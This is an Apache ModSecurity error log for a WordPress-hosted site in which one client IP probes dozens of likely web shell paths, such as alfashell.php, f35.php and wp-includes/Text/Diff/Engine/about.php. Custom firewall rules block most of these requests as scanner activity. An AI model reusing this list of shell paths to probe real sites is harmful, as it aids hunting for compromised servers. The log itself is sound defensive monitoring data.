[Fri Apr 17 01:42:31.339853 2026] [:error] [pid 43387:tid 43466] [client 172.213.224.11:28129] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aeEfhyBNsONqHxWTakU_eQAAAI0"]
[Fri Apr 17 01:42:32.111685 2026] [:error] [pid 43386:tid 43431] [client 172.213.224.11:27098] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aeEfiO91GAVgUfhPVDHNbwAAAEs"]
[Fri Apr 17 01:42:32.765210 2026] [:error] [pid 26480:tid 26482] [client 172.213.224.11:27867] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aeEfiAwLDJKTQNfarA1_EwAAAcA"]
[Fri Apr 17 01:42:33.332991 2026] [:error] [pid 26480:tid 26483] [client 172.213.224.11:27593] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aeEfiQwLDJKTQNfarA1_FwAAAcE"]
[Fri Apr 17 01:42:33.989713 2026] [:error] [pid 26480:tid 26488] [client 172.213.224.11:27613] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aeEfiQwLDJKTQNfarA1_GAAAAcY"]
[Fri Apr 17 01:42:34.637926 2026] [:error] [pid 11692:tid 11715] [client 172.213.224.11:28154] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aeEfis1AYuhm4BZwKNodkwAAAhI"]
[Fri Apr 17 01:42:35.228416 2026] [:error] [pid 26480:tid 26492] [client 172.213.224.11:28116] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aeEfiwwLDJKTQNfarA1_HgAAAco"]
[Fri Apr 17 01:42:35.725659 2026] [:error] [pid 43482:tid 43495] [client 172.213.224.11:17730] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aeEfiz9SZnuKxlHrct2lzwAAAMs"]
[Fri Apr 17 01:42:36.205228 2026] [:error] [pid 43385:tid 43401] [client 172.213.224.11:49625] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aeEfjMnIxkJaUI8KNs4nqwAAAAw"]
[Fri Apr 17 01:42:36.832309 2026] [:error] [pid 26102:tid 26129] [client 172.213.224.11:19491] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aeEfjP127aFqw6ALdngZxgAAAZg"]
[Fri Apr 17 01:42:37.336783 2026] [:error] [pid 3245:tid 3270] [client 172.213.224.11:19497] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aeEfjaESOMTHVLs-uFDY3gAAAQg"]
[Fri Apr 17 01:42:38.006924 2026] [:error] [pid 43387:tid 43477] [client 172.213.224.11:28149] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aeEfjiBNsONqHxWTakU_fQAAAJg"]
[Fri Apr 17 01:42:38.571972 2026] [:error] [pid 43482:tid 43500] [client 172.213.224.11:49870] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aeEfjj9SZnuKxlHrct2l1gAAANA"]
[Fri Apr 17 01:42:39.080010 2026] [:error] [pid 11692:tid 11699] [client 172.213.224.11:27844] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aeEfj81AYuhm4BZwKNodlgAAAgI"]
[Fri Apr 17 01:42:39.675068 2026] [:error] [pid 4086:tid 4094] [client 172.213.224.11:19514] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aeEfj1lz7gxl_exM0FpKqwAAAUY"]
[Fri Apr 17 01:42:40.249533 2026] [:error] [pid 11854:tid 11864] [client 172.213.224.11:14675] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aeEfkNxJCSIaqP1XSdacggAAAkc"]
[Fri Apr 17 01:42:40.783361 2026] [:error] [pid 11854:tid 11879] [client 172.213.224.11:17752] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aeEfkNxJCSIaqP1XSdachwAAAlY"]
[Fri Apr 17 01:42:41.460208 2026] [:error] [pid 43385:tid 43389] [client 172.213.224.11:17750] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aeEfkcnIxkJaUI8KNs4nsAAAAAA"]
[Fri Apr 17 01:42:42.098556 2026] [:error] [pid 43385:tid 43392] [client 172.213.224.11:28112] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aeEfksnIxkJaUI8KNs4nsgAAAAM"]
[Fri Apr 17 01:42:42.719163 2026] [:error] [pid 11692:tid 11700] [client 172.213.224.11:14659] [client 172.213.224.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeEfks1AYuhm4BZwKNodmgAAAgM"]
[Fri Apr 17 01:42:43.249329 2026] [:error] [pid 4086:tid 4090] [client 172.213.224.11:28103] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeEfk1lz7gxl_exM0FpKrQAAAUI"]
[Fri Apr 17 01:42:44.027637 2026] [:error] [pid 4086:tid 4099] [client 172.213.224.11:49860] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeEflFlz7gxl_exM0FpKsQAAAUs"]
[Fri Apr 17 01:42:44.568336 2026] [:error] [pid 43385:tid 43403] [client 172.213.224.11:14685] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeEflMnIxkJaUI8KNs4nswAAAA4"]
[Fri Apr 17 01:42:45.306596 2026] [:error] [pid 4086:tid 4092] [client 172.213.224.11:49889] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeEflVlz7gxl_exM0FpKswAAAUQ"]
[Fri Apr 17 01:42:45.824951 2026] [:error] [pid 43482:tid 43507] [client 172.213.224.11:49862] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeEflT9SZnuKxlHrct2l4gAAANc"]
[Fri Apr 17 01:42:46.433271 2026] [:error] [pid 43385:tid 43402] [client 172.213.224.11:27859] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeEflsnIxkJaUI8KNs4ntQAAAA0"]
[Fri Apr 17 01:42:46.996148 2026] [:error] [pid 4086:tid 4104] [client 172.213.224.11:28122] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeEflllz7gxl_exM0FpKtgAAAVA"]
[Fri Apr 17 01:42:47.616443 2026] [:error] [pid 43482:tid 43500] [client 172.213.224.11:41236] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeEflz9SZnuKxlHrct2l5wAAANA"]
[Fri Apr 17 01:42:48.165325 2026] [:error] [pid 26480:tid 26493] [client 172.213.224.11:28133] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeEfmAwLDJKTQNfarA1_KQAAAcs"]
[Fri Apr 17 01:42:48.743621 2026] [:error] [pid 26480:tid 26492] [client 172.213.224.11:49659] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeEfmAwLDJKTQNfarA1_KwAAAco"]
[Fri Apr 17 01:42:49.501123 2026] [:error] [pid 43482:tid 43487] [client 172.213.224.11:27623] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeEfmT9SZnuKxlHrct2l7AAAAMM"]
[Fri Apr 17 01:42:50.358305 2026] [:error] [pid 43385:tid 43407] [client 172.213.224.11:28121] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Fri Apr 17 01:42:50.642919 2026] [:error] [pid 43385:tid 43404] [client 172.213.224.11:28121] File does not exist: /usr/local/apache/htdocs/suspended-page/dev.php
[Fri Apr 17 01:42:50.921004 2026] [:error] [pid 43385:tid 43395] [client 172.213.224.11:28121] File does not exist: /usr/local/apache/htdocs/suspended-page/bal.php
[Fri Apr 17 01:42:51.206815 2026] [:error] [pid 43385:tid 43411] [client 172.213.224.11:28121] File does not exist: /usr/local/apache/htdocs/suspended-page/in.php
[Fri Apr 17 01:42:51.489854 2026] [:error] [pid 43385:tid 43397] [client 172.213.224.11:28121] File does not exist: /usr/local/apache/htdocs/suspended-page/gssdd.php
[Fri Apr 17 01:42:52.082454 2026] [:error] [pid 43385:tid 43396] [client 172.213.224.11:28121] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Fri Apr 17 01:42:52.360093 2026] [:error] [pid 43385:tid 43405] [client 172.213.224.11:28121] File does not exist: /usr/local/apache/htdocs/suspended-page/bengi.php
[Fri Apr 17 01:42:52.919792 2026] [:error] [pid 43385:tid 43389] [client 172.213.224.11:28121] File does not exist: /usr/local/apache/htdocs/suspended-page/axx.php
[Fri Apr 17 01:42:53.192391 2026] [:error] [pid 43385:tid 43398] [client 172.213.224.11:28121] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aeEfncnIxkJaUI8KNs4nxAAAAAk"]
[Fri Apr 17 01:42:53.868495 2026] [:error] [pid 43482:tid 43485] [client 172.213.224.11:27863] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aeEfnT9SZnuKxlHrct2l9gAAAME"]
[Fri Apr 17 01:42:54.380853 2026] [:error] [pid 43482:tid 43493] [client 172.213.224.11:14703] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aeEfnj9SZnuKxlHrct2l9wAAAMk"]
[Fri Apr 17 01:42:55.064775 2026] [:error] [pid 26102:tid 26113] [client 172.213.224.11:27605] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aeEfn_127aFqw6ALdngZ3AAAAYg"]
[Fri Apr 17 01:42:55.633359 2026] [:error] [pid 43482:tid 43489] [client 172.213.224.11:27847] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeEfnz9SZnuKxlHrct2l_gAAAMU"]
[Fri Apr 17 01:42:56.188288 2026] [:error] [pid 43482:tid 43507] [client 172.213.224.11:41272] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeEfoD9SZnuKxlHrct2l_wAAANc"]
[Fri Apr 17 01:42:57.132006 2026] [:error] [pid 11854:tid 11865] [client 172.213.224.11:19465] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeEfodxJCSIaqP1XSdackAAAAkg"]
[Fri Apr 17 01:42:57.755791 2026] [:error] [pid 11692:tid 11699] [client 172.213.224.11:17757] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeEfoc1AYuhm4BZwKNodowAAAgI"]
[Fri Apr 17 01:42:58.764850 2026] [:error] [pid 4086:tid 4096] [client 172.213.224.11:49606] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeEfollz7gxl_exM0FpKwwAAAUg"]
[Fri Apr 17 01:42:59.417172 2026] [:error] [pid 11854:tid 11875] [client 172.213.224.11:28140] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeEfo9xJCSIaqP1XSdackQAAAlI"]
[Fri Apr 17 01:43:00.157504 2026] [:error] [pid 43387:tid 43470] [client 172.213.224.11:19469] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeEfpCBNsONqHxWTakU_gAAAAJE"]
[Fri Apr 17 01:43:00.906970 2026] [:error] [pid 43385:tid 43400] [client 172.213.224.11:27871] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeEfpMnIxkJaUI8KNs4n3AAAAAs"]
[Fri Apr 17 01:43:01.641120 2026] [:error] [pid 43385:tid 43402] [client 172.213.224.11:27903] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aeEfpcnIxkJaUI8KNs4n4QAAAA0"]
[Fri Apr 17 01:43:02.204526 2026] [:error] [pid 26102:tid 26127] [client 172.213.224.11:27111] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aeEfpv127aFqw6ALdngZ5QAAAZY"]
[Fri Apr 17 01:43:03.013853 2026] [:error] [pid 11692:tid 11717] [client 172.213.224.11:19519] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aeEfp81AYuhm4BZwKNodqQAAAhQ"]
[Fri Apr 17 01:43:03.605739 2026] [:error] [pid 26480:tid 26486] [client 172.213.224.11:27099] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aeEfpwwLDJKTQNfarA1_OQAAAcQ"]
[Fri Apr 17 01:43:04.105690 2026] [:error] [pid 26480:tid 26492] [client 172.213.224.11:27094] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "aeEfqAwLDJKTQNfarA1_OwAAAco"]
[Fri Apr 17 01:43:04.683302 2026] [:error] [pid 43482:tid 43485] [client 172.213.224.11:28144] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "aeEfqD9SZnuKxlHrct2mCQAAAME"]
[Fri Apr 17 01:43:05.168619 2026] [:error] [pid 26102:tid 26125] [client 172.213.224.11:27100] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "aeEfqf127aFqw6ALdngZ5wAAAZQ"]
[Fri Apr 17 01:43:05.730645 2026] [:error] [pid 43385:tid 43390] [client 172.213.224.11:14687] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "aeEfqcnIxkJaUI8KNs4n7QAAAAE"]
[Fri Apr 17 01:43:06.442558 2026] [:error] [pid 4086:tid 4107] [client 172.213.224.11:28124] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aeEfqllz7gxl_exM0FpKxgAAAVM"]
[Fri Apr 17 01:43:06.998074 2026] [:error] [pid 26102:tid 26105] [client 172.213.224.11:27896] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aeEfqv127aFqw6ALdngZ6gAAAYA"]
